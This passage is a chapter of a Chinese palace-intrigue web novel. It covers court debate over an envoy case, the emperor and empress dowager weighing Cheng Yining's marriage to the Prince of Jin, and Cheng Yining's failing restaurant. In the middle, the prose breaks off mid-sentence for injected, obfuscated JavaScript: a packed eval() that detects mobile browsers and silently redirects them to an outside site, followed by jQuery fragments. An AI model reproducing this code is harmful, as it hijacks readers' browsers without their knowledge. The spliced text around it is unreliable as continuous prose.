不到一日，便传出丁志明、宫成暂关刑部大牢，等候发落。曦王禁足，贵妃高氏降为嫔，杖三十，迁居思凉殿，继续思过，未经传唤永不得出。
都奇怪高丽贤为何会被罚，消息灵通的李自蹊也不例外，这答案在勤政殿找到了。
勤政殿，他甚少来，除了前年因为科考案，李才良不得已频繁叫他述职之外。十五年间来到这里的次数，一只手都数得清。
此刻，勤政殿内首辅大臣们议着丁志明该如何处理，东一榔头西一棒子地争论。即便是这种情况，李自蹊也不会说出自己的想法。但他不主动说，大臣们就未必不会问——“如今大源各地灾祸频发，多事之秋，西域各国对我中原虎视眈眈，一旦‘大源高官之子，囚禁虐待西域使臣’一事传开，边境老百姓焉能活命？晋王殿下，你说说是不是这个理？”
李自蹊还没张口，另一个又道：“理是这个理，但我们不能因为忌惮眉单，就破了大源原本的律法啊。”
“证据不都完整在那儿么？我从没见过哪家律法如此荒谬，须得要受害者的口述指证证词或证物，才能完全定罪……”
不知哪个小声嘀咕了这么一句，李容月恰到好处地沏好了茶进来，往皇上手边移，后者不悦的神色松了松，端起茶就往嘴里倒，刚入嘴就皱眉，道：“怎么是毛尖？”
毛尖不含杂质，茶味高雅，入口微涩，虽回甘，李才良未必有耐心品，不喜欢也正常。
李容月道：“父皇忘啦？太医嘱咐要多喝清茶，那浓茶喝了伤身的。得亏容月帮您记得，勤民听政宵衣旰食的您哪儿记得这些，长此以往损了龙体，可就是我们这些做儿女的不是了。况且，底下百姓还仰仗您生活呢，您不舒服，他们能好到哪里去呢。”
“所以啊，父皇的九曲红梅还是放放吧。”
有一说一，他这个妹妹能在李才良身边待那么久，足以说明聪慧过人。就拿眼下来说，臣子当着皇帝的面数落律法，等同于扇李才良的耳光——因为就是他修订的。
要是放在容月还没能如此轻易出入勤政殿之前，李才良定会当下就拉出去砍了，就连刚刚眼里都闪过一丝杀气。
最终没有将那人拎出来处罚，不是忍住脾气没发出来，而且转移到了容月推移过来的那杯毛尖上。
她恰到好处地借茶喻人：清茶虽不讨你喜欢，但对你身体好；良臣说话不好听，但于社稷有用。反之，浓茶馥郁浓醇，但只会害了你；佞臣偷奸耍滑，是国家蛀虫，继续重用，国将不国。
今时不同往日，懂得克制，方得长久。
李容月这么一打岔，不仅轻轻巧巧救下言语直快的曹侍郎，还让原本吵闹的勤政殿安静了片刻。
至于，使臣案最后还是以皇上那句“先找到眉单使臣”暂做节点。
见皇上只字不提另一个案子，直吩咐大臣们退下。国之栋梁相互看了一眼，迟疑着，尚书令董彰似乎也没有要开口的意思，其他朝臣最终还是没有开口，向皇上皇子先后行过礼便退下了。
第一次在勤政殿受到这种待遇，李自蹊不动声色地回着礼，微躬身送大臣们。
屋子里乌泱乌泱走了七八人，空气一下清明起来，连李自蹊最讨厌的龙涎香都没那么难闻了。
李才良刚要说什么，一句“太后驾到”打断了。
只见一位头发花白的老人走进来，形色匆匆，但步态平稳，脸上皱纹不少，但精气神十足，从凝重的脸色来看，是有要紧事。
儿子孙子们行了礼让了坐，太后才缓缓开口：“哀家此番前来，只为一事。”
“儿子留下容月和自蹊也是为了商量家事。”
太后神情缓和下来，“皇帝都说是家事了，想必是晓得轻重的。你的朝政哀家不想管，也管不着，但我的这些孙子，一个都不能有差池。”
许是太后语气过重，李才良脸色不太好看。
太后复又道：“皇帝别怪我摆架子，这天下是重要，可也得有人继承不是？”
李才良低了低头，“儿子谨记母亲教诲。”
太后转又一脸哀愁，神情恍惚，“我本来有八个孙子，七个孙女的，往日新春膝下好不热闹，今年清清冷冷……还希望哀家能在有生之年抱到重孙，如此，对列祖列宗也有个交代……”
怅然过后，太后突然问起李自蹊，“你们三兄弟的婚事还没定吗？”
“回皇祖母的话，还没呢，”李自蹊起身，道：“承皇祖母慈爱，那日宫宴太子有意请婚，可惜……”
老人家思索，道：“程家那姑娘，她小时哀家见过，是个跳脱大胆的性子，做太子妃的确少了点端庄持重，但若是能许给晋王你——”
虽没出席，但宫宴上发生的事可传遍京城了，太后想不知道都难。
老人家有意停顿，低下头来找李自蹊的反应，后者还拘着抱拳礼，抬起头，眼睛亮了亮，接着黯淡下去。
他也是纠结的。
李容月捕捉到这一信息，反而放宽心了。
没人知晓兄妹俩的心事，太后自顾自道，“你俩在一起，说不定还能带活泛你那闷性子，何况你病弱，找个身强的冲冲喜也好啊。”
李容月：“皇祖母有所不知，这程家大小姐，如今可是香饽饽，曦皇兄和太子弟弟都争着抢着非她不娶呢。”
“哦？是吗？”兄弟俩都喜欢，李自蹊硬娶了怕是会生嫌隙。
转念一想，嗤笑出声，帝王家哪有真兄弟情。
太后展颜，“那不正好，晋王娶了，早早断了他们念想。”
“可皇后……”李才良犹豫着，似乎难以启齿。
“房德璇肯把那宝贝儿子放了？”
“那倒不是，皇后看不上镇国公嫡女，但又不想看着她嫁给别人，虽说镇国公只有虚衔，但其父乃前朝重臣……”
对于前朝，李才良向来是能不提就不提，此番提及，约莫是为了方便太后了解局势。
“前朝”二字一出，李容月李自蹊不约而同低下头，闭了一下眼睛。
“哦……就想让她嫁给太子党的人？”
“是有这样的打算。”
“你答应了？”
“尚在周旋。”
“那不就得了，即便你真的应了，哀家这个做婆婆的去说道说道。”
“此事容儿臣好好思虑思虑。”
李才良到底是没应下这亲事。
他一直有意让李明辉娶了她的，可他私下问过，郎无情，硬塞给他怕是会出事。
那日钱昭仪枕头风一吹，随意应下了。
近日，房皇后又提议苏正清可娶程以宁，这一阵一阵的……
太后走后，兄妹二人也打算告退，但李才良喊住。
李才良喝了口李容月倒的茶，道：“明辉的事，你们觉得怎么处理比较好？”
李自蹊李容月面面相觑，似是不解圣意。
赐了坐，李才良又道：“高丽贤做了一手好棋啊，买通福瑞，在丁府下药，意图嫁祸给太子，自己暴露不说，还迁出李明辉的私盐一案，其罪当诛。”
李容月道：“父皇心善，放了高嫔一命，除了其伴驾之情，同时也念及曦王兄的面子，怕他想不开。”
李才良冷哼一声，“破崽子，以为放个女人在朕身边，就能拿捏住朕，这么嫩的心思，以后怎么跟文武百官周旋？”
李自蹊道：“曦王兄自小像父皇，聪慧机敏，能文能武，区区权衡之术何足挂齿，假以时日定能无师自通。”
李才良被夸舒畅了，明面上不显，捏了捏八字胡，看着坐在椅子上依然垂头拘礼的兄妹俩，“罢了，跟你们俩说个什么劲。还是说另外一件事吧。”
“陛下，皇后送来一碗老母鸡汤，望皇上政务再繁忙，也要顾惜自己的身子。”
李才良摆摆手，“搁那儿吧。”
“皇后说，乘热喝口感才好。”
李才良这才将头缓缓转向那小太监，因为跪在地上，托盘又举过了头顶，视线第一时间落在金黄的鸡汤上，眼睛往下盯了好一会小太监，单手拿起鸡汤，面无表情一饮而下。
玉碗撂得哐当响，殿里殿外纷纷跪地，拿托盘的小太监更是将额头贴到了地面，嘴里止不住地请罪。
李才良道：“回凤仪宫复命去吧。”
小太监连跪带爬出了勤政殿，李才良唤了句谢图，道：“此人怎么处理，你可知道？”
贴身太监谢图道：“回皇上的话，按照规矩，吃里扒外的人应是当场打死的。但陛下让他回去，想必是打算放他一命。奴才想着死罪可免活罪难逃，就截他舌以儆效尤吧。”
李才良点头，“去办吧。此后他不必来勤政殿了，去冷宫当差。”
“是。”谢图领了命退出房。
李才良这才注意到，一双儿女还跪着呢，“你们跪什么，赶紧起来。”
“父皇盛怒似天怒，地都要震上三震，儿臣可不得害怕么……”容月声音都在颤抖。
“朕又不是因你生气，怕什么。”不知气还没消，还是因为跟李容月对话，使他放松外露出方才平静之下的烦闷，李才良道：“你们刚刚也看到了，朕连一碗鸡汤想等会喝都要看小太监的脸色。你知道为什么吗？”
说到最后一句，看向了李自蹊。
他当然知道，因为房德璇正在极力促成程以宁和苏正清的婚事。说是极力，但没有之前撮合李业成同程以宁那般，为两人创造独处条件。只是问了苏正清的意向，又同李才良说起过几回。
眼下看，李才良的确是在周旋，不然房德璇也不会在这节骨眼儿上送什么鸡汤来。
帝后感情向来寡淡，房德璇仗着母家会赚钱，更是连表面样子都懒得装，别的妃子都会花心思送寝衣荷包小吃，她甚少如此。
今日反常，大抵是李才良先前态度不明，而房德璇得知勤政殿此刻正在商议此事，便派人送来一碗鸡汤，提醒皇上，不要随意将程家姑娘许了人。
“儿臣不知，还望父皇明示。”李自蹊一脸坦然，不像是假话。
李才良道：“那小太监早已被皇后收买，在朕留下你们的那刻，就去凤仪宫通风报信了，非得让朕喝下鸡汤，就是要朕一个承诺，也是提醒朕，大源现在还没分崩离析，全靠她房家能赚钱。”
李才良眯眼捏着胡须捋，“房家房家，定让你们无房也无家。”
“程家嫡女的婚事，朕同皇后商量过了，既然镇国公不愿其女嫁入皇家，那便嫁于临洲苏氏苏正清吧。”
“你们觉得如何？”
李容月率先道：“儿臣与苏公子打过几次面照，身量挺拔，容貌绝佳，个性疏阔散漫，与不愿自我束缚的程姑娘最是相配，就是不知两厢有意与否。”
李才良点点头，表情却不似得到想要的答案那样舒畅，转问李自蹊：“你觉得呢？”
后者不知在想什么，一脸菜色，并没有第一时间回李才良的话。
陛下略显愠色，沉声喊了他的名。
李自蹊这才回过神，起身道歉。
李才良伸手示意他起来，重复刚才的话题，道：“你觉得将程以宁许给苏正清可行？”
不过几息功夫，李自蹊就整理好思绪，道：“回父皇的话，苏正清乃滨海省有名的商贾，本是医药世家，中途倒闭转做茶叶，这一转行，令家族起死回生，他们家的茶叶大源人不爱喝，但远销国外，颇受西域人喜爱。即便是局势如此紧张的去年，都拿下了第一税收，其收入可见一斑。唯一能与房家抗衡的，除了苏式，儿臣想不到别人了。”
“可目下他正与皇后太子交好，若长此以往放任自流，保不齐父皇就得再受掣肘。”
“所以，父皇是想乘着他们还没深交之际，放一个清清白白三不沾程家在他们中间，两家一结亲，苏正清多多少少会因为妻子减少跟皇后的往来。”
“退一万步说，就算苏正清执意如此，那也没关系，程公那强硬的性格，定会想方设法阻止，搅得三家鸡犬不宁之时，父皇便可名正言顺插手。”
“此婚事，对于父皇，都是百利而无一害。”
李自蹊说这些话时，流利到语速甚至有些过快，语气
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668402|173031||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
平缓，没有感情。没有看任何东西，虚无地注视着某一点，机械地陈述事实。
而李才良静静瞅着李自蹊，直觉告诉他，这个儿子是反常的，但由于不够了解，又说不出反常在哪，只能在话已结束半晌，依旧盯着他，就想找到那反常之处来自于哪儿。
他已经有些年纪了，五六十岁，岁月在他脸上留下了不小的痕迹。
尤其那眼皮耷拉至眼角，一动不动看人时，有股嗖嗖凉意。除了当下要表达的探究，还有一点，像是迟暮之人，对于自己即将死去的事实心有不甘，非得拉你一起下水。
没几个人经得起他这么死盯着，
李自蹊知道自己没有说错，但依然选择跪地请罪，刚曲膝，就听到李才良哈哈大笑。
李容月小幅度地、轻轻松了一口气。
李才良往后靠着椅背，抱着胸，笑道：“自蹊啊自蹊，我以前怎么没发现，你竟如此有成算？”
这话有两层意思，一是说他对于苏程两家婚事的看法，二是说他竟能在爹的面前隐藏住自己的情绪。
说到底，也是自己这些年对他不够重视，若是李业成李明辉，定能发现端倪。
李自蹊道：“儿臣这是关公面前耍大刀了。”
为什么李明辉就没学到万分之一？
想到这，李才良又听说李明辉先前频繁出入晋王府，仔细想来李自蹊城府深，两人交好未必是坏事。
对了，他二人近来私交频繁，李才良突发奇想，“哎要不就如太后所言，你娶了镇国公嫡女，如何？”
这下轮到容月脸色不好看，但依然勾着唇角，“父王三思。”
李才良咦了一声，随后恍然，“你俩向来不对付，他有这么好的姻亲，你不高兴啦？”
朝瑰道：“容月只是觉得哥哥性子太沉闷，又……不能……会委屈了程大小姐。”
李才良看出来这是现找的借口，“朝瑰放心，父王定会给你许个好人家的，绝不会落了你讨厌的哥哥的下风。”
李骞身体不好，无意参与夺嫡，李才良自然没把他当成势力之一，他娶了程以宁，既让这旧族势力的纽带有了安置之处，又弥补了曦王在夺嫡纷争中权力小过太子——在才良帝眼里，毕竟晋王曦王已经结为同盟了——以达平衡。
“父皇不是应下母后了？”李容月垂死挣扎。
李才良道：“没有，方才是试探自蹊是否对其有意。”
“这事儿就这么定啦。”一件大事落地，李才良一声轻快，站起来，复又想起什么，道：“还有啊，不许再传你哥的谣言了，你把皇家脸面置于何地？”
“有你跟在明辉身边，何愁江山不稳，社稷不定。”李才良又是一阵哈哈哈声，仿佛怎么笑都表达不出万分之一的喜悦。
笑过后，李才良道：“行，那就这么定下了，朕就吩咐中书省拟旨……”
李容月眼里闪过一丝慌乱，但人语调缓缓，道：“父皇，清明在即，眼下赐婚怕是不吉利。为了确保婚事万无一失，还是清明后挑个吉日再拟旨吧。左不过就是几日后的事，不会有差池。”
思量须臾，李才良答应了。
正事商量完，李自蹊自觉告退，李容月本留一会，避着李自蹊说了几句才告退。
兄妹两形同陌路，一前一后走着，还是李容月先阴阳怪气道：“哥哥好手段啊，上下嘴皮子一碰，就抱得美人归了。”
李自蹊脸色却并不好看，道：“这桩婚事能成，自然是少不了你的功劳。”
“哥哥能觅得良人，妹妹喜不自胜。怕就怕花是美的，根是烂的。”
李骞脸色一沉，“我自有分寸。”
他突然想到什么，“四个月后就是万国来朝月，也不知道芭里会派谁来，到时候哪家公主郡主看上他，那可就好玩儿咯。”
“你——”李容月气得站住了脚，毫无形象地指着他背影，而后放下，“我劝你还是管好自己的事吧，借出去的钱还有没有的回还不知道呢。”
“你什么意思？”
“你不是买了丁志明所有房产，还借了不少给那程家姑娘？听说她开的那家什么锦瑟水榭，近日入不敷出，我要是你啊，那我就得上门讨债了。”
来找程以宁讨债的可不止一个，当初找李自蹊借钱只要了两张房契，听了他的，一张地段好点的开了酒楼，另一张换成钱后用作装修、采买，几乎都花光了。
手里基本没银子周转，于是打着镇国公嫡女的名头，找几个跟父亲相识的人入了股，说是学着老板给股东画大饼，
但那些人听说锦瑟水榭临近倒闭，这几天都上国公府要债来了，好在程世飞万娉这几天去祠堂准备清明祭祖事宜，这些人都是她接待的。不然胳膊腿都要遭打折。
为了不让这种事发生，程以宁决定来到锦瑟水榭查账。
锦瑟水榭依湖而建，原本这块是没有湖的，但程以宁让人凿了个人工湖，一直联通到护城河。
在二楼能看到河里一片片柳叶似的船只，随着艄公撑篙的节奏漂浮着，岸边柳树依依，真正的柳叶随风而下，同那船只齐齐飘向远处。
好一幅流动自如，韵意十足的画，若是再来几丝白雾，那便是天上人间了。
而远处岸上的吆喝声，给这条静若世外的护城河，平添了几分市井烟火气。
程以宁坐在账本前，转头对着窗外发呆，她自然不是被景色迷住了，而是在护城河的那座桥上，看到了一个眼熟于心的身影。
李自蹊来干嘛的？
“小姐，小姐？小姐！”
程以宁啊了一声，头却依然没有转向玉壶，眼神一直追随那一抹黑。
玉壶道：“小姐，三楼有人闹事不肯给钱……”
话未落音，程以宁头刷就转过来了，高声道：“什么？！不肯给钱？谁给他的胆子？竟敢吃饭不给钱！”
程以宁四下找了一圈，最后拿起手边的镇纸，掂了掂，估摸着一下下去，能给人敲蒙。程以宁十分满意，就它了，抄起家伙就走。
“玉壶，带上人跟我来！”